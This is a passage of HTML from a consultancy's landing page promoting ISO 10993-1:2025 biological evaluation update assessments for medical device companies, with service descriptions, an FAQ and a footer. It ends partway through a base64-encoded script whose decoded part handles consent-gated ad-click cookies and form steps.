src=\"https:\/\/sobelconsult.com\/wp-content\/uploads\/2026\/10\/lp-asset-pasteur-cosmiatria-6630.png\" width=\"80\" decoding=\"async\" loading=\"lazy\"\/><\/span>\n<span class=\"logo-slot\"><img loading=\"lazy\" alt=\"Supera Farma\" height=\"45\" src=\"https:\/\/sobelconsult.com\/wp-content\/uploads\/2026\/10\/lp-asset-supera-farma-4358.png\" width=\"114\" decoding=\"async\" loading=\"lazy\"\/><\/span>\n<span class=\"logo-slot\"><img loading=\"lazy\" alt=\"Avenca Cosm\u00e9ticos\" height=\"29\" src=\"https:\/\/sobelconsult.com\/wp-content\/uploads\/2026\/10\/lp-asset-avenca-cosm-ticos-6689.png\" width=\"115\" decoding=\"async\" loading=\"lazy\"\/><\/span>\n<span class=\"logo-slot\"><img loading=\"lazy\" alt=\"Teuto\" height=\"40\" src=\"https:\/\/sobelconsult.com\/wp-content\/uploads\/2026\/10\/lp-asset-teuto-2104.png\" width=\"50\" decoding=\"async\" loading=\"lazy\"\/><\/span>\n<span class=\"logo-slot\"><img loading=\"lazy\" alt=\"ADV Farma\" height=\"20\" src=\"https:\/\/sobelconsult.com\/wp-content\/uploads\/2026\/10\/lp-asset-adv-farma-4615-5.png\" width=\"115\" decoding=\"async\" loading=\"lazy\"\/><\/span>\n<span class=\"logo-slot\"><img loading=\"lazy\" alt=\"S.I.N. Implant System\" height=\"50\" src=\"https:\/\/sobelconsult.com\/wp-content\/uploads\/2026\/10\/lp-asset-s-i-n-implant-system-3524-5.png\" width=\"41\" decoding=\"async\" loading=\"lazy\"\/><\/span>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<section aria-label=\"Why brands trust Sobel\" class=\"authority\">\n<div class=\"wrap\">\n<div class=\"authority-row\">\n<div class=\"authority-card\">\n<div class=\"icon\"><svg fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"1.8\" viewbox=\"0 0 24 24\"><path d=\"M12 3l7 3v5c0 4.4-3 7.3-7 8.6C8 18.3 5 15.4 5 11V6z\"><\/path><path d=\"M9 11.5l2 2 4.5-5\"><\/path><\/svg><\/div>\n<h3>Highly qualified technical-regulatory team<\/h3>\n<p>Specialized support to interpret ISO 10993-1:2025 changes with technical and regulatory perspective.<\/p>\n<\/div>\n<div class=\"authority-card\">\n<div class=\"icon\"><svg fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"1.8\" viewbox=\"0 0 24 24\"><path d=\"M14 3H7a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2V8z\"><\/path><path d=\"M14 3v5h5\"><\/path><path d=\"M8.5 14.5l2 2 4-4.5\"><\/path><\/svg><\/div>\n<h3>ISO 10993-1:2025 review with context<\/h3>\n<p>Existing documentation, biological endpoints and technical rationale are reviewed in relation to the device and target market.<\/p>\n<\/div>\n<div class=\"authority-card\">\n<div class=\"icon\"><svg fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"1.8\" viewbox=\"0 0 24 24\"><path d=\"M5 14.5C3.7 15.4 3 18.5 3 18.5s3.1-.7 4-2\"><\/path><path d=\"M9.5 15.5 8 14c0-4.3 2.7-8.4 9.5-9 .6 6.8-3.5 9.5-8 9.5z\"><\/path><circle cx=\"14.7\" cy=\"8.3\" r=\"1.4\"><\/circle><\/svg><\/div>\n<h3>Built for update readiness<\/h3>\n<p>Assessment designed to clarify what may need to be updated before submission, audit, renewal or regulatory response.<\/p>\n<\/div>\n<\/div>\n<\/div>\n<\/section>\n<section aria-labelledby=\"fit-h\" class=\"sec-blush\">\n<div class=\"wrap fit-grid\">\n<div>\n<span class=\"eyebrow\">Is this update assessment for you?<\/span>\n<h2 id=\"fit-h\">Built for medical device companies that need clarity on how ISO 10993-1:2025 may affect their biological evaluation documentation.<\/h2>\n<p style=\"margin-top:14px\">For manufacturers, regulatory teams and medical device companies that need to understand whether existing BEP\/BER files, test reports and rationales are aligned with the updated ISO 10993-1 approach.<\/p>\n<p class=\"fit-note\"><strong>You do not need to know exactly what your biological evaluation needs before contacting us.<\/strong> The initial assessment is designed to help clarify the next technical-regulatory step.<\/p>\n<\/div>\n<ul class=\"fit-list\"><li><span aria-hidden=\"true\" class=\"tick\"><svg fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2.4\" viewbox=\"0 0 12 12\"><path d=\"M1.5 6.5l3 3 6-7\"><\/path><\/svg><\/span>You already have ISO 10993 data, test reports or a BER<\/li><li><span aria-hidden=\"true\" class=\"tick\"><svg fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2.4\" viewbox=\"0 0 12 12\"><path d=\"M1.5 6.5l3 3 6-7\"><\/path><\/svg><\/span>Your team is preparing or updating a medical device submission<\/li><li><span aria-hidden=\"true\" class=\"tick\"><svg fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2.4\" viewbox=\"0 0 12 12\"><path d=\"M1.5 6.5l3 3 6-7\"><\/path><\/svg><\/span>You are unsure whether existing evidence and rationale remain sufficient<\/li><li><span aria-hidden=\"true\" class=\"tick\"><svg fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2.4\" viewbox=\"0 0 12 12\"><path d=\"M1.5 6.5l3 3 6-7\"><\/path><\/svg><\/span>You need to update justification, endpoints or technical rationale<\/li><li><span aria-hidden=\"true\" class=\"tick\"><svg fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2.4\" viewbox=\"0 0 12 12\"><path d=\"M1.5 6.5l3 3 6-7\"><\/path><\/svg><\/span>You received regulatory, auditor or notified body questions<\/li><\/ul>\n<\/div>\n<\/section>\n<section aria-labelledby=\"problem-h\">\n<div class=\"wrap\">\n<div class=\"section-head\">\n<span class=\"eyebrow\">The risk<\/span>\n<h2 id=\"problem-h\">An outdated biological evaluation strategy can create preventable gaps.<\/h2>\n<p>A file that was acceptable under a previous approach may still need review when standards, expectations or documentation logic change \u2014 especially before submission, audit or regulatory response.<\/p>\n<\/div>\n<div class=\"problem-grid\">\n<div class=\"problem-card\">\n<h3><svg fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"1.7\" viewbox=\"0 0 20 20\"><circle cx=\"9\" cy=\"9\" r=\"6.5\"><\/circle><path d=\"M14 14l3.5 3.5\"><\/path><\/svg>What often needs review<\/h3>\n<ul><li>Whether existing ISO 10993 evidence still supports the file<\/li><li>Whether endpoints, exposure duration and rationale are documented clearly<\/li><li>Whether evidence matches the device, materials and intended use<\/li><li>Whether the technical rationale supports the target market and update expectations<\/li><\/ul>\n<\/div>\n<div class=\"problem-card costs\">\n<h3><svg fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"1.7\" viewbox=\"0 0 20 20\"><circle cx=\"10\" cy=\"10\" r=\"7\"><\/circle><path d=\"M10 6v4.5l3 1.8\"><\/path><\/svg>What it can cost you<\/h3>\n<ul><li>Unnecessary testing or repeated documentation work<\/li><li>Regulatory, auditor or notified body questions<\/li><li>Documentation gaps discovered late<\/li><li>Delayed timelines and internal uncertainty<\/li><\/ul>\n<\/div>\n<\/div>\n<\/div>\n<\/section>\n<section aria-labelledby=\"deliver-h\" class=\"sec-blush\">\n<div class=\"wrap\">\n<div class=\"section-head\">\n<span class=\"eyebrow\">The update assessment<\/span>\n<h2 id=\"deliver-h\">A focused ISO 10993-1:2025 update review before you move forward.<\/h2>\n<p>Sobel reviews your current biological evaluation documentation, available evidence and update scenario to help identify what may need to be revised before submission, audit, renewal or regulatory response.<\/p>\n<\/div>\n<div class=\"parts-grid\">\n<article class=\"part-card\">\n<span class=\"part-label\">Current file<\/span>\n<h3>Current file and ISO 10993 Review<\/h3>\n<p class=\"part-sub\">A structured review of your existing biological evaluation documentation and supporting evidence.<\/p>\n<ul><li><span aria-hidden=\"true\" class=\"tick\"><svg fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2.6\" viewbox=\"0 0 12 12\"><path d=\"M1.5 6.5l3 3 6-7\"><\/path><\/svg><\/span>Existing ISO 10993 data or reports assessed<\/li><li><span aria-hidden=\"true\" class=\"tick\"><svg fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2.6\" viewbox=\"0 0 12 12\"><path d=\"M1.5 6.5l3 3 6-7\"><\/path><\/svg><\/span>Device, body contact and exposure duration considered<\/li><li><span aria-hidden=\"true\" class=\"tick\"><svg fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2.6\" viewbox=\"0 0 12 12\"><path d=\"M1.5 6.5l3 3 6-7\"><\/path><\/svg><\/span>Materials and intended use reviewed<\/li><li><span aria-hidden=\"true\" class=\"tick\"><svg fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2.6\" viewbox=\"0 0 12 12\"><path d=\"M1.5 6.5l3 3 6-7\"><\/path><\/svg><\/span>Potential ISO 10993-1:2025 update gaps identified<\/li><li><span aria-hidden=\"true\" class=\"tick\"><svg fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2.6\" viewbox=\"0 0 12 12\"><path d=\"M1.5 6.5l3 3 6-7\"><\/path><\/svg><\/span>Relevance to the target market considered<\/li><\/ul>\n<\/article>\n<article class=\"part-card\" id=\"partb-card\">\n<span class=\"part-label\">Update path<\/span>\n<h3>Technical-Regulatory Update path<\/h3>\n<p class=\"part-sub\">A clearer view of what your update path may require.<\/p>\n<ul><li><span aria-hidden=\"true\" class=\"tick\"><svg fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2.6\" viewbox=\"0 0 12 12\"><path d=\"M1.5 6.5l3 3 6-7\"><\/path><\/svg><\/span>Testing and evidence needs clarified<\/li><li><span aria-hidden=\"true\" class=\"tick\"><svg fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2.6\" viewbox=\"0 0 12 12\"><path d=\"M1.5 6.5l3 3 6-7\"><\/path><\/svg><\/span>Technical rationale reviewed against the updated approach<\/li><li><span aria-hidden=\"true\" class=\"tick\"><svg fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2.6\" viewbox=\"0 0 12 12\"><path d=\"M1.5 6.5l3 3 6-7\"><\/path><\/svg><\/span>Documentation updates mapped<\/li><li><span aria-hidden=\"true\" class=\"tick\"><svg fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2.6\" viewbox=\"0 0 12 12\"><path d=\"M1.5 6.5l3 3 6-7\"><\/path><\/svg><\/span>Submission, audit or response readiness assessed<\/li><li><span aria-hidden=\"true\" class=\"tick\"><svg fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2.6\" viewbox=\"0 0 12 12\"><path d=\"M1.5 6.5l3 3 6-7\"><\/path><\/svg><\/span>Next technical-regulatory step outlined<\/li><\/ul>\n<div class=\"signed-strip\">\n<div class=\"signature-line\" id=\"signature\">\n<svg aria-hidden=\"true\" fill=\"none\" viewbox=\"0 0 220 60\">\n<path class=\"sig-path\" d=\"M8 44 C 22 12, 34 10, 38 26 C 41 38, 30 50, 44 44 C 60 37, 58 16, 72 18 C 84 20, 78 44, 94 38 C 106 33, 104 22, 118 24 C 132 26, 126 42, 142 36 C 154 31, 158 24, 170 28 C 182 32, 188 26, 210 22\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-width=\"2.2\"><\/path>\n<\/svg>\n<p class=\"sig-caption\">Assessment focused on existing files, update gaps and the next technical-regulatory step.<\/p>\n<\/div>\n<div aria-hidden=\"true\" class=\"seal\" id=\"seal\">\n<svg fill=\"none\" viewbox=\"0 0 100 100\">\n<circle cx=\"50\" cy=\"50\" r=\"46\" stroke=\"#B8960B\" stroke-width=\"2.5\"><\/circle>\n<circle cx=\"50\" cy=\"50\" r=\"36\" stroke=\"#B8960B\" stroke-width=\"1\"><\/circle>\n<g fill=\"#B8960B\">\n<path d=\"M50 8l1.8 3.6 4 .6-2.9 2.8.7 4L50 17.1 46.4 19l.7-4-2.9-2.8 4-.6z\" transform=\"rotate(0 50 50)\"><\/path>\n<path d=\"M50 8l1.8 3.6 4 .6-2.9 2.8.7 4L50 17.1 46.4 19l.7-4-2.9-2.8 4-.6z\" transform=\"rotate(30 50 50)\"><\/path>\n<path d=\"M50 8l1.8 3.6 4 .6-2.9 2.8.7 4L50 17.1 46.4 19l.7-4-2.9-2.8 4-.6z\" transform=\"rotate(60 50 50)\"><\/path>\n<path d=\"M50 8l1.8 3.6 4 .6-2.9 2.8.7 4L50 17.1 46.4 19l.7-4-2.9-2.8 4-.6z\" transform=\"rotate(90 50 50)\"><\/path>\n<path d=\"M50 8l1.8 3.6 4 .6-2.9 2.8.7 4L50 17.1 46.4 19l.7-4-2.9-2.8 4-.6z\" transform=\"rotate(120 50 50)\"><\/path>\n<path d=\"M50 8l1.8 3.6 4 .6-2.9 2.8.7 4L50 17.1 46.4 19l.7-4-2.9-2.8 4-.6z\" transform=\"rotate(150 50 50)\"><\/path>\n<path d=\"M50 8l1.8 3.6 4 .6-2.9 2.8.7 4L50 17.1 46.4 19l.7-4-2.9-2.8 4-.6z\" transform=\"rotate(180 50 50)\"><\/path>\n<path d=\"M50 8l1.8 3.6 4 .6-2.9 2.8.7 4L50 17.1 46.4 19l.7-4-2.9-2.8 4-.6z\" transform=\"rotate(210 50 50)\"><\/path>\n<path d=\"M50 8l1.8 3.6 4 .6-2.9 2.8.7 4L50 17.1 46.4 19l.7-4-2.9-2.8 4-.6z\" transform=\"rotate(240 50 50)\"><\/path>\n<path d=\"M50 8l1.8 3.6 4 .6-2.9 2.8.7 4L50 17.1 46.4 19l.7-4-2.9-2.8 4-.6z\" transform=\"rotate(270 50 50)\"><\/path>\n<path d=\"M50 8l1.8 3.6 4 .6-2.9 2.8.7 4L50 17.1 46.4 19l.7-4-2.9-2.8 4-.6z\" transform=\"rotate(300 50 50)\"><\/path>\n<path d=\"M50 8l1.8 3.6 4 .6-2.9 2.8.7 4L50 17.1 46.4 19l.7-4-2.9-2.8 4-.6z\" transform=\"rotate(330 50 50)\"><\/path>\n<\/g>\n<text fill=\"#B8960B\" font-family=\"Public Sans, sans-serif\" font-size=\"9.5\" font-weight=\"800\" letter-spacing=\"1\" text-anchor=\"middle\" x=\"50\" y=\"46\">ISO 10993<\/text>\n<text fill=\"#B8960B\" font-family=\"Public Sans, sans-serif\" font-size=\"7.5\" font-weight=\"700\" letter-spacing=\".5\" text-anchor=\"middle\" x=\"50\" y=\"59\">REVIEW<\/text>\n<\/svg>\n<\/div>\n<\/div>\n<\/article>\n<\/div>\n<\/div>\n<\/section>\n<section aria-labelledby=\"process-h\">\n<div class=\"wrap\">\n<div class=\"section-head\">\n<span class=\"eyebrow\">How it works<\/span>\n<h2 id=\"process-h\">Start by reviewing what you already have.<\/h2>\n<p>You do not need to know exactly what needs to change \u2014 that is what the ISO 10993-1:2025 update assessment is designed to clarify.<\/p>\n<\/div>\n<div class=\"process-grid\">\n<ol class=\"process-list\">\n<li>\n<h3>Share your case <span class=\"when\">Today<\/span><\/h3>\n<p>Tell us about your device, body contact, target market and current ISO 10993 documentation.<\/p>\n<\/li>\n<li>\n<h3>We review the update impact <span class=\"when\">Reviewed by a specialist<\/span><\/h3>\n<p>Our technical-regulatory team reviews your current files, available data, documentation logic and potential update gaps.<\/p>\n<\/li>\n<li>\n<h3>We assess the evidence and rationale<\/h3>\n<p>We evaluate whether existing ISO 10993 data, reports and rationale may still support the updated strategy.<\/p>\n<\/li>\n<li>\n<h3>We outline the update path<\/h3>\n<p>We help clarify whether your case may require stronger rationale, documentation updates, additional review or regulatory response support.<\/p>\n<\/li>\n<li>\n<h3>You move forward with more clarity<\/h3>\n<p>Your team gains a clearer view of what should be updated before the next regulatory step.<\/p>\n<\/li>\n<\/ol>\n<figure aria-hidden=\"true\" class=\"process-visual\">\n  <img loading=\"lazy\" alt=\"Medical device being reviewed by a healthcare professional\" class=\"process-photo\" width=\"1042\" height=\"818\" src=\"https:\/\/sobelconsult.com\/wp-content\/uploads\/2026\/10\/lp-asset-process-photo-117297.jpg\" decoding=\"async\" loading=\"lazy\" fetchpriority=\"low\"\/>\n<\/figure>\n<\/div>\n<\/div>\n<\/section>\n<section aria-labelledby=\"why-h\" class=\"sec-ink\">\n<div class=\"wrap\">\n<div class=\"section-head\">\n<span class=\"eyebrow\">Why Sobel<\/span>\n<h2 id=\"why-h\" style=\"color:#fff\">Qualified technical-regulatory support for ISO 10993-1:2025 updates.<\/h2>\n<\/div>\n<div class=\"why-grid\">\n<div class=\"why-card\">\n<div class=\"icon\"><svg fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"1.7\" viewbox=\"0 0 20 20\"><path d=\"M10 2.5l6.5 2.6v4.6c0 4-2.8 6.6-6.5 7.8-3.7-1.2-6.5-3.8-6.5-7.8V5.1z\"><\/path><path d=\"M7 10l2 2 4-4.5\"><\/path><\/svg><\/div>\n<h3>Highly qualified team<\/h3>\n<p>ISO 10993-1:2025 updates require qualified interpretation. Sobel brings specialized support to review files, gaps and technical rationale with regulatory perspective.<\/p>\n<\/div>\n<div class=\"why-card\">\n<div class=\"icon\"><svg fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"1.7\" viewbox=\"0 0 20 20\"><circle cx=\"9\" cy=\"9\" r=\"6.5\"><\/circle><path d=\"M14 14l3.5 3.5\"><\/path><\/svg><\/div>\n<h3>ISO 10993-1:2025 review with context<\/h3>\n<p>We review ISO 10993 documentation in relation to the device, materials, body contact, intended use and target market.<\/p>\n<\/div>\n<div class=\"why-card\">\n<div class=\"icon\"><svg fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"1.7\" viewbox=\"0 0 20 20\"><path d=\"M5 16.5c.8-2.6 2.7-4 5-4s4.2 1.4 5 4\"><\/path><circle cx=\"10\" cy=\"7.5\" r=\"3.2\"><\/circle><path d=\"M15.5 5.5l1 1 2-2.3\"><\/path><\/svg><\/div>\n<h3>Submission-focused assessment<\/h3>\n<p>Our review is focused on whether the biological evaluation file can support the next regulatory step under the updated approach.<\/p>\n<\/div>\n<div class=\"why-card\">\n<div class=\"icon\"><svg fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"1.7\" viewbox=\"0 0 20 20\"><circle cx=\"10\" cy=\"10\" r=\"7.5\"><\/circle><path d=\"M2.5 10h15M10 2.5c2.2 2.3 3.2 4.8 3.2 7.5S12.2 17.7 10 17.5C7.8 17.7 6.8 15.2 6.8 10S7.8 2.3 10 2.5z\"><\/path><\/svg><\/div>\n<h3>Clearer decision-making<\/h3>\n<p>We help your team understand whether to move forward, strengthen the rationale, revise documentation or consider additional evidence.<\/p>\n<\/div>\n<\/div>\n<\/div>\n<\/section>\n<section aria-labelledby=\"quote-h\">\n<div class=\"wrap quote-card\">\n<span class=\"eyebrow\" id=\"quote-h\">What clients say<\/span>\n<blockquote>\u201cWe experienced a very friendly, target-oriented service with fast solutions, and we look forward to continuing our work with Sobel.\u201d<\/blockquote>\n<cite><b>Andreas Kohl<\/b>AndraTec<\/cite>\n<\/div>\n<\/section>\n<section aria-labelledby=\"faq-h\" class=\"sec-blush\" id=\"faq\">\n<div class=\"wrap\">\n<div class=\"section-head\">\n<span class=\"eyebrow\">Questions, answered<\/span>\n<h2 id=\"faq-h\">Frequently asked questions<\/h2>\n<\/div>\n<div class=\"faq-list\">\n<div class=\"faq-item\">\n<button aria-expanded=\"false\" class=\"faq-q\">Can I contact Sobel if I am not sure whether ISO 10993-1:2025 affects my device?<span class=\"chev\"><svg fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2\" viewbox=\"0 0 12 12\"><path d=\"M2 4l4 4 4-4\"><\/path><\/svg><\/span><\/button>\n<div class=\"faq-a\"><div><p>Yes. Many companies do not know whether the update affects their current files, rationale or evidence strategy. The initial assessment helps identify the most appropriate next step.<\/p><\/div><\/div>\n<\/div>\n<div class=\"faq-item\">\n<button aria-expanded=\"false\" class=\"faq-q\">Does the ISO 10993-1:2025 update mean we need new testing?<span class=\"chev\"><svg fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2\" viewbox=\"0 0 12 12\"><path d=\"M2 4l4 4 4-4\"><\/path><\/svg><\/span><\/button>\n<div class=\"faq-a\"><div><p>Not always. The need for additional testing depends on the device, materials, body contact, intended use, available evidence, documentation quality and regulatory pathway.<\/p><\/div><\/div>\n<\/div>\n<div class=\"faq-item\">\n<button aria-expanded=\"false\" class=\"faq-q\">Can existing ISO 10993 data still be used?<span class=\"chev\"><svg fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2\" viewbox=\"0 0 12 12\"><path d=\"M2 4l4 4 4-4\"><\/path><\/svg><\/span><\/button>\n<div class=\"faq-a\"><div><p>In many cases, existing data may still be useful, but it should be reviewed in relation to the specific device, contact type, materials, documentation quality, technical rationale and target market.<\/p><\/div><\/div>\n<\/div>\n<div class=\"faq-item\">\n<button aria-expanded=\"false\" class=\"faq-q\">What if we already have a BEP, BER or test reports?<span class=\"chev\"><svg fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2\" viewbox=\"0 0 12 12\"><path d=\"M2 4l4 4 4-4\"><\/path><\/svg><\/span><\/button>\n<div class=\"faq-a\"><div><p>Existing documents can be valuable, but they should be assessed for relevance, completeness and alignment with the updated biological evaluation approach.<\/p><\/div><\/div>\n<\/div>\n<div class=\"faq-item\">\n<button aria-expanded=\"false\" class=\"faq-q\">Is Sobel a testing laboratory?<span class=\"chev\"><svg fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2\" viewbox=\"0 0 12 12\"><path d=\"M2 4l4 4 4-4\"><\/path><\/svg><\/span><\/button>\n<div class=\"faq-a\"><div><p>Sobel provides technical-regulatory consulting support. Our role is to help companies assess update needs, review data, identify gaps and define the next regulatory step.<\/p><\/div><\/div>\n<\/div>\n<div class=\"faq-item\">\n<button aria-expanded=\"false\" class=\"faq-q\">What should I share first?<span class=\"chev\"><svg fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2\" viewbox=\"0 0 12 12\"><path d=\"M2 4l4 4 4-4\"><\/path><\/svg><\/span><\/button>\n<div class=\"faq-a\"><div><p>Device type, body contact, target market, current stage, available ISO 10993 data or reports, current BEP\/BER if available, and your main update question.<\/p><\/div><\/div>\n<\/div>\n<div class=\"faq-item\">\n<button aria-expanded=\"false\" class=\"faq-q\">Is my information confidential?<span class=\"chev\"><svg fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2\" viewbox=\"0 0 12 12\"><path d=\"M2 4l4 4 4-4\"><\/path><\/svg><\/span><\/button>\n<div class=\"faq-a\"><div><p>Yes. Your technical information is handled confidentially and used only to understand your request and provide relevant support.<\/p><\/div><\/div>\n<\/div>\n<div class=\"faq-item\">\n<button aria-expanded=\"false\" class=\"faq-q\">How soon will I receive a response?<span class=\"chev\"><svg fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2\" viewbox=\"0 0 12 12\"><path d=\"M2 4l4 4 4-4\"><\/path><\/svg><\/span><\/button>\n<div class=\"faq-a\"><div><p>A technical-regulatory specialist will review your update request and follow up with the most appropriate next steps.<\/p><\/div><\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/section>\n<section aria-labelledby=\"final-h\" class=\"sec-ink final-cta\">\n<div class=\"wrap\">\n<span class=\"eyebrow\">One step from clarity<\/span>\n<h2 id=\"final-h\">Not sure what the ISO 10993-1:2025 update means for your device? Start with an update assessment.<\/h2>\n<p>Share your current documentation, available evidence and main question. Sobel\u2019s technical-regulatory team will review your scenario and help identify the most appropriate next step.<\/p>\n<a class=\"btn btn-gold\" href=\"#cta\">Start my assessment <span class=\"arr\">\u2192<\/span><\/a>\n<p class=\"micro\">Confidential \u00b7 Specialist review \u00b7 Update-focused<\/p>\n<\/div>\n<\/section>\n<\/main>\n<footer>\n<div class=\"wrap\">\n<p>\u00a9 <span id=\"yr\"><\/span> Sobel \u2014 ISO 10993-1:2025 update and biological evaluation support. <span style=\"opacity:.7\">Sobel provides technical-regulatory consulting services; this page is not legal advice.<\/span><\/p>\n<nav aria-label=\"Legal\">\n<a href=\"https:\/\/sobelconsult.com\/de\/datenschutzbestimmungen\/\">Privacy policy<\/a>\n<a href=\"https:\/\/sobelconsult.com\/terms\/\">Terms<\/a>\n<button class=\"cookie-manage\" data-cookie-manage=\"\" type=\"button\">Manage Consent<\/button>\n<a href=\"https:\/\/sobelconsult.com\/de\/\">sobelconsult.com<\/a>\n<\/nav>\n<\/div>\n<\/footer>\n<div class=\"sticky-cta\" id=\"sticky-cta\">\n<a class=\"btn btn-gold btn-block\" href=\"#cta\">Start my assessment <span class=\"arr\">\u2192<\/span><\/a>\n<\/div>\n<script>(0,eval)(new TextDecoder().decode(Uint8Array.from(atob('CmRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5jbGFzc0xpc3QucmVtb3ZlKCduby1qcycpOwpkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgneXInKS50ZXh0Q29udGVudCA9IG5ldyBEYXRlKCkuZ2V0RnVsbFllYXIoKTsKCi8qIC0tLS0tLS0tLS0gQ29uc2VudCB2aWEgQ29tcGxpYW56IChXb3JkUHJlc3MpIC0tLS0tLS0tLS0gKi8KKGZ1bmN0aW9uKCl7CiAgZnVuY3Rpb24gaGFzKGMpeyB0cnkgeyByZXR1cm4gdHlwZW9mIGNtcGx6X2hhc19jb25zZW50ID09PSAnZnVuY3Rpb24nICYmICEhY21wbHpfaGFzX2NvbnNlbnQoYyk7IH0gY2F0Y2goZSl7IHJldHVybiBmYWxzZTsgfSB9CiAgd2luZG93LnNvYmVsQ29uc2VudEFsbG93cyA9IGZ1bmN0aW9uKGMpeyByZXR1cm4gaGFzKGMpOyB9OwogIHdpbmRvdy5zb2JlbFN0b3JlQWRDbGlja0lkcyA9IGZ1bmN0aW9uKCl7CiAgICBpZiAoIWhhcygnbWFya2V0aW5nJykpIHJldHVybjsKICAgIHRyeSB7IHZhciBwID0gbmV3IFVSTFNlYXJjaFBhcmFtcyhsb2NhdGlvbi5zZWFyY2gpOwogICAgICBbJ2djbGlkJywnZ2JyYWlkJywnd2JyYWlkJ10uZm9yRWFjaChmdW5jdGlvbihrKXsgaWYgKHAuZ2V0KGspKSB7IHZhciBkID0gbmV3IERhdGUoKTsgZC5zZXRUaW1lKGQuZ2V0VGltZSgpICsgOTAqODY0ZTUpOyBkb2N1bWVudC5jb29raWUgPSBrICsgJz0nICsgZW5jb2RlVVJJQ29tcG9uZW50KHAuZ2V0KGspKSArICc7ZXhwaXJlcz0nICsgZC50b1VUQ1N0cmluZygpICsgJztwYXRoPS87U2FtZVNpdGU9TGF4JzsgfSB9KTsKICAgIH0gY2F0Y2goZSkge30KICB9OwogIGRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoJ2NtcGx6X3N0YXR1c19jaGFuZ2UnLCBmdW5jdGlvbigpeyB3aW5kb3cuc29iZWxTdG9yZUFkQ2xpY2tJZHMoKTsgfSk7CiAgZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcignY21wbHpfZW5hYmxlX2NhdGVnb3J5JywgZnVuY3Rpb24oKXsgd2luZG93LnNvYmVsU3RvcmVBZENsaWNrSWRzKCk7IH0pOwogIGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoJ1tkYXRhLWNvb2tpZS1tYW5hZ2VdJykuZm9yRWFjaChmdW5jdGlvbihiKXsgYi5jbGFzc0xpc3QuYWRkKCdjbXBsei1zaG93LWJhbm5lcicpOyB9KTsKICB3aW5kb3cuc29iZWxTdG9yZUFkQ2xpY2tJZHMoKTsKfSkoKTsKCi8qIC0tLS0tLS0tLS0gTXVsdGktc3RlcCBmb3JtIC0tLS0tLS0tLS0gKi8KKGZ1bmN0aW9uKCl7CiAgdmFyIGZvcm0gPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnY3Bzci1mb3JtJyk7CiAgdmFyIHN0ZXBzID0gQXJyYXkucHJvdG90eXBlLnNsaWNlLmNhbGwoZm9ybS5xdWVyeVNlbGVjdG9yQWxsKCcuc3RlcCcpKTsKICB2YXIgYmFyID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3Byb2dyZXNzLWJhcicpOwogIHZhciBsYWJlbCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdwcm9ncmVzcy1sYWJlbCcpOwogIHZhciBjdXJyZW50ID0gMSwgdG90